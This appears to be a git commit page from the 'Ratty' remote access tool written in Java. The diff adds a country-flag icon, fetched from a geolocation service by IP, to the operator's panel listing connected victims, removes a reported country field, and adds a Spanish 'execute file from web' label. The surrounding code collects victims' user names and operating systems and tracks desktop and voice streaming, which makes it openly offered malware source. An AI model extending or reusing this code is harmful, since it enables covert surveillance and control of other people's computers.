Browse Source

Major changes

The country flag is now shown
Translations
master
Sogomn 9 years ago
parent
commit
5f2e3dd93a
  1. 1
      Ratty/res/language/lang_es.properties
  2. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 10
      Ratty/src/de/sogomn/rat/packet/InformationPacket.java
  4. 10
      Ratty/src/de/sogomn/rat/server/gui/Notification.java
  5. 26
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  6. 13
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
  7. 3
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

1
Ratty/res/language/lang_es.properties

@ -37,6 +37,7 @@ action.execute=Ejecutar archivo
action.delete=Eliminar archivo action.delete=Eliminar archivo
action.new_directory=Crear una nueva carpeta action.new_directory=Crear una nueva carpeta
action.upload_execute=Subir y ejecutar archivo action.upload_execute=Subir y ejecutar archivo
action.drop_execute=EJecutar archivo desde web
column.name=Nombre column.name=Nombre
column.location=Localizacion column.location=Localizacion

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty { public final class Ratty {
public static final boolean DEBUG = true; public static final boolean DEBUG = true;
public static final String VERSION = "1.16";
public static final String VERSION = "1.17";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address; private static String address;

10
Ratty/src/de/sogomn/rat/packet/InformationPacket.java

@ -5,11 +5,10 @@ import de.sogomn.rat.Ratty;
public final class InformationPacket extends AbstractPingPongPacket { public final class InformationPacket extends AbstractPingPongPacket {
private String name, location, os, version;
private String name, os, version;
public InformationPacket(final String name, final String location, final String os, final String version) { public InformationPacket(final String name, final String location, final String os, final String version) {
this.name = name; this.name = name;
this.location = location;
this.os = os; this.os = os;
this.version = version; this.version = version;
@ -30,7 +29,6 @@ public final class InformationPacket extends AbstractPingPongPacket {
@Override @Override
protected void sendData(final ActiveConnection connection) { protected void sendData(final ActiveConnection connection) {
connection.writeUTF(name); connection.writeUTF(name);
connection.writeUTF(location);
connection.writeUTF(os); connection.writeUTF(os);
connection.writeUTF(version); connection.writeUTF(version);
} }
@ -43,7 +41,6 @@ public final class InformationPacket extends AbstractPingPongPacket {
@Override @Override
protected void receiveData(final ActiveConnection connection) { protected void receiveData(final ActiveConnection connection) {
name = connection.readUTF(); name = connection.readUTF();
location = connection.readUTF();
os = connection.readUTF(); os = connection.readUTF();
version = connection.readUTF(); version = connection.readUTF();
} }
@ -52,7 +49,6 @@ public final class InformationPacket extends AbstractPingPongPacket {
protected void executeRequest(final ActiveConnection connection) { protected void executeRequest(final ActiveConnection connection) {
type = DATA; type = DATA;
name = System.getProperty("user.name"); name = System.getProperty("user.name");
location = System.getProperty("user.country");
os = System.getProperty("os.name"); os = System.getProperty("os.name");
version = Ratty.VERSION; version = Ratty.VERSION;
@ -68,10 +64,6 @@ public final class InformationPacket extends AbstractPingPongPacket {
return name; return name;
} }
public String getLocation() {
return location;
}
public String getOs() { public String getOs() {
return os; return os;
} }

10
Ratty/src/de/sogomn/rat/server/gui/Notification.java

@ -1,5 +1,6 @@
package de.sogomn.rat.server.gui; package de.sogomn.rat.server.gui;
import javax.swing.Icon;
import javax.swing.JDialog; import javax.swing.JDialog;
import javax.swing.JLabel; import javax.swing.JLabel;
import javax.swing.border.EmptyBorder; import javax.swing.border.EmptyBorder;
@ -10,16 +11,19 @@ public final class Notification {
private JLabel label; private JLabel label;
private static final EmptyBorder PADDING = new EmptyBorder(10, 50, 10, 50); private static final EmptyBorder PADDING = new EmptyBorder(10, 50, 10, 50);
private static final int GAP = 30;
private static final int INTERVAL = 3; private static final int INTERVAL = 3;
private static final int WAIT_TIME = 3000; private static final int WAIT_TIME = 3000;
public Notification(final String text) {
public Notification(final String text, final Icon icon) {
dialog = new JDialog(); dialog = new JDialog();
label = new JLabel(text); label = new JLabel(text);
label.setIcon(icon);
label.setHorizontalAlignment(JLabel.CENTER); label.setHorizontalAlignment(JLabel.CENTER);
label.setVerticalAlignment(JLabel.CENTER); label.setVerticalAlignment(JLabel.CENTER);
label.setBorder(PADDING); label.setBorder(PADDING);
label.setIconTextGap(GAP);
dialog.setUndecorated(true); dialog.setUndecorated(true);
dialog.setContentPane(label); dialog.setContentPane(label);
@ -28,6 +32,10 @@ public final class Notification {
dialog.setAlwaysOnTop(true); dialog.setAlwaysOnTop(true);
} }
public Notification(final String text) {
this(text, null);
}
public Notification() { public Notification() {
this(""); this("");
} }

26
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -5,9 +5,12 @@ import static de.sogomn.rat.Ratty.LANGUAGE;
import java.awt.image.BufferedImage; import java.awt.image.BufferedImage;
import java.io.File; import java.io.File;
import java.io.IOException; import java.io.IOException;
import java.net.URL;
import java.util.HashMap; import java.util.HashMap;
import java.util.Set; import java.util.Set;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JOptionPane; import javax.swing.JOptionPane;
import de.sogomn.engine.fx.Sound; import de.sogomn.engine.fx.Sound;
@ -76,6 +79,8 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question"); private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message"); private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message");
private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip=";
private static final Sound PING = Sound.loadSound("/ping.wav"); private static final Sound PING = Sound.loadSound("/ping.wav");
public RattyGuiController() { public RattyGuiController() {
@ -473,15 +478,30 @@ public final class RattyGuiController extends AbstractRattyController implements
* ================================================== * ==================================================
*/ */
private ImageIcon getFlagIcon(final String address) {
try {
final String requestAddress = FLAG_ADDRESS + address;
final URL url = new URL(requestAddress);
final BufferedImage image = ImageIO.read(url);
final ImageIcon icon = new ImageIcon(image);
return icon;
} catch (final IOException ex) {
ex.printStackTrace();
return null;
}
}
private void logIn(final ServerClient client, final InformationPacket packet) { private void logIn(final ServerClient client, final InformationPacket packet) {
final String name = packet.getName(); final String name = packet.getName();
final String location = packet.getLocation();
final String os = packet.getOs(); final String os = packet.getOs();
final String version = packet.getVersion(); final String version = packet.getVersion();
final String address = client.getAddress(); final String address = client.getAddress();
final Notification notification = new Notification(name + " " + address);
final ImageIcon icon = getFlagIcon(address);
final Notification notification = new Notification(name + " " + address, icon);
client.logIn(name, location, os, version);
client.logIn(name, os, version, icon);
client.addListener(this); client.addListener(this);
gui.addRow(client); gui.addRow(client);

13
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -1,12 +1,15 @@
package de.sogomn.rat.server.gui; package de.sogomn.rat.server.gui;
import javax.swing.ImageIcon;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
final class ServerClient { final class ServerClient {
private boolean loggedIn; private boolean loggedIn;
private String name, location, os, version;
private String name, os, version;
private ImageIcon flag;
private boolean streamingDesktop, streamingVoice; private boolean streamingDesktop, streamingVoice;
private long ping; private long ping;
@ -21,11 +24,11 @@ final class ServerClient {
fileTree = new FileTree(); fileTree = new FileTree();
} }
public void logIn(final String name, final String location, final String os, final String version) {
public void logIn(final String name, final String os, final String version, final ImageIcon flag) {
this.name = name; this.name = name;
this.location = location;
this.os = os; this.os = os;
this.version = version; this.version = version;
this.flag = flag;
final String title = name + " " + getAddress(); final String title = name + " " + getAddress();
@ -61,8 +64,8 @@ final class ServerClient {
return name; return name;
} }
public String getLocation() {
return location;
public ImageIcon getFlag() {
return flag;
} }
public String getAddress() { public String getAddress() {

3
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -5,6 +5,7 @@ import static de.sogomn.rat.Ratty.LANGUAGE;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.function.Function; import java.util.function.Function;
import javax.swing.ImageIcon;
import javax.swing.table.AbstractTableModel; import javax.swing.table.AbstractTableModel;
final class ServerClientTableModel extends AbstractTableModel { final class ServerClientTableModel extends AbstractTableModel {
@ -14,7 +15,7 @@ final class ServerClientTableModel extends AbstractTableModel {
private ArrayList<Column> columns; private ArrayList<Column> columns;
private static final Column NAME = new Column(LANGUAGE.getString("column.name"), String.class, ServerClient::getName); private static final Column NAME = new Column(LANGUAGE.getString("column.name"), String.class, ServerClient::getName);
private static final Column LOCATION = new Column(LANGUAGE.getString("column.location"), String.class, ServerClient::getLocation);
private static final Column LOCATION = new Column(LANGUAGE.getString("column.location"), ImageIcon.class, ServerClient::getFlag);
private static final Column IP_ADDRESS = new Column(LANGUAGE.getString("column.address"), String.class, ServerClient::getAddress); private static final Column IP_ADDRESS = new Column(LANGUAGE.getString("column.address"), String.class, ServerClient::getAddress);
private static final Column OS = new Column(LANGUAGE.getString("column.os"), String.class, ServerClient::getOs); private static final Column OS = new Column(LANGUAGE.getString("column.os"), String.class, ServerClient::getOs);
private static final Column VERSION = new Column(LANGUAGE.getString("column.version"), String.class, ServerClient::getVersion); private static final Column VERSION = new Column(LANGUAGE.getString("column.version"), String.class, ServerClient::getVersion);

Loading…
Cancel
Save